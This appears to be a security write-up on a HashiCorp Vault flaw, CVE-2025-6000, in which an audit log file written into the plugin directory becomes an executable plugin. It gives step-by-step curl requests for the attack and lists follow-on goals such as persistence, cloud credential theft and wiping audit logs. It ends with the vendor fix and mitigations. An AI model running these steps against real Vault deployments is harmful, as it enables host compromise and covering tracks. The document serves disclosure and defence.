Vaulted Severance: Turning Audit Logs into Remote Shells

HashiCorp Vault is the gold standard for secret management. It is the Fort Knox of the DevSecOps world. We trust it with our database credentials, our cloud keys, and our mTLS certificates. The assumption is simple: even if you compromise the application layer, the architecture is robust enough to contain the blast radius.

However, complexity is the enemy of security, and Vault has become complex. It is no longer just a static binary; it is an ecosystem. It supports plugins, dynamic backends, and configurable auditing. And as it turns out, the interaction between these features created a perfect storm.

CVE-2025-6000, colorfully named "Vaulted Severance" by Cyata Security, targets the intersection of three innocuous features: the File Audit Device (logging), the Plugin System (extensibility), and flexible file permissions. It turns the very mechanism designed to catch hackers—the audit trail—into the vehicle for the hack itself. It is a classic case of "trusted input" becoming "malicious code."

To understand this exploit, you have to look at how Vault handles plugins and logs. Vault plugins are essentially standalone binaries that the main Vault process spawns and communicates with via gRPC. To run a plugin, Vault needs to find an executable file in its configured plugin_directory.

Simultaneously, the File Audit Device allows administrators to configure where audit logs are written. Crucially, before version 1.20.1, the audit device configuration allowed two dangerous things:

1. Arbitrary Path selection: You could point the log file anywhere the Vault process had write access to—including the plugin_directory.
2. Permission Control: The mode parameter allowed the operator to set the file permissions of the log file. Yes, you could set your log file to 0755 (rwxr-xr-x).

This creates a primitive: Arbitrary File Write with Execute Permissions. The missing piece was controlling the content of the file. Audit logs are usually JSON lines, which aren't valid ELF binaries. However, the audit system allowed a prefix configuration. This seemingly helpful feature let admins add a custom string to the start of the log file. In the hands of an attacker, "custom string" means "ELF Header" or "Shebang."

Here is how a researcher (or a rogue admin) turns this logic flaw into a shell. This requires write access to sys/audit, which is high privilege, but in many organizations, this is accessible to automation tools or senior DevOps engineers.

Step 1: The Setup

The attacker identifies the plugin_directory (often via error leaks or default paths like /etc/vault.d/plugins). They then enable a new file audit device pointing specifically at that directory, setting the file mode to executable.

curl --header "X-Vault-Token: $ROOT_TOKEN" \
     --request PUT \
     --data '{
       "type": "file",
       "options": {
         "file_path": "/etc/vault.d/plugins/malicious-plugin",
         "mode": "0755",
         "prefix": "\x7fELF..."  # The magic bytes
       }
     }' \
     http://127.0.0.1:8200/v1/sys/audit/pwn_device

Step 2: The Injection

The prefix alone might not be enough for a full binary, but combined with the ability to trigger log entries, the attacker can pad the file. Alternatively, script-based payloads (bash/python) are trivial to inject using the prefix as a shebang (#!/bin/bash) and the log entry as the payload. The audit log is now a valid executable script sitting in the plugin folder.

Step 3: Execution

With the malicious file in place and executable, the attacker registers it as a new plugin in the Vault catalog.

curl --header "X-Vault-Token: $ROOT_TOKEN" \
     --request PUT \
     --data '{
       "sha256": "<hash_of_file>",
       "command": "malicious-plugin"
     }' \
     http://127.0.0.1:8200/v1/sys/plugins/catalog/rce

Once registered, simply calling the plugin executes the binary on the host with the privileges of the Vault process (often vault user, sometimes root in poorly configured containers). Game over.

A common dismissal for vulnerabilities like this is: "If you have the Root Token, you already own the Vault." This is true regarding the data inside Vault, but false regarding the infrastructure hosting it.

Security relies on layers. The Vault application boundary is a critical layer. A Vault administrator should be able to manage secrets, not execute arbitrary syscalls on the underlying Linux kernel.

By breaking out of the application context (Site-to-Host escape), an attacker can:

1. Establish Persistence: Install a rootkit on the server that survives Vault restarts or token rotations.
2. Lateral Movement: Access the AWS Instance Metadata Service (IMDS) or Kubernetes Service Account tokens available to the host, pivoting to the wider cloud environment.
3. Bypass Auditing: Ironically, by gaining shell access, the attacker can wipe the real audit logs, covering their tracks in a way that API-level access wouldn't allow.

HashiCorp's remediation in version 1.20.1 is blunt and effective. They didn't just patch a line of code; they killed the feature interaction that made this possible.

First, they implemented a Path Blocklist. You can no longer configure a file audit device to write to the plugin_directory. The application now explicitly checks the destination against the plugin path configuration and rejects the request if they overlap.

Second, they changed the default behavior for Prefixing. The AllowAuditLogPrefixing configuration now defaults to false. If you want to prepend strings to your logs, you have to explicitly opt-in, raising the bar for exploitation.

If you cannot upgrade immediately, the mitigation is simple: ensure your plugin_directory is owned by root and not writable by the vault user, or use an external audit device (like Syslog or Socket) instead of writing to local disk.